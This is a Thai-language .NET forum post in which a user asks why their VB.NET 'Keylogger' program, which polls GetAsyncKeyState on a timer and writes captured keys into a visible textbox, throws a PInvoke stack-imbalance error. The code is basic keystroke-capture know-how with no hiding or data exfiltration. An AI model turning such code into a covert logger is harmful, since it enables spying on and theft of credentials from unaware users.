HOME > .NET Framework > Forum > ช่วยทีครับ Key logger มันเป็นอะไรไม่รู้ งง มากครับผม A call to PInvoke function 'Keylogger!Keylogger.Form1::GetAsyncKeyState'
ช่วยทีครับ Key logger มันเป็นอะไรไม่รู้ งง มากครับผม A call to PInvoke function 'Keylogger!Keylogger.Form1::GetAsyncKeyState'
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim key As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 250
key = i
key = GetAsyncKeyState(i)
If key = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If Timer1.Enabled = True Then
Timer1.Enabled = False
ElseIf Timer1.Enabled = False Then
Timer1.Enabled = True
End If
End Sub
End Class
มันบอก Error ว่า
Code
A call to PInvoke function 'Keylogger!Keylogger.Form1::GetAsyncKeyState' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature.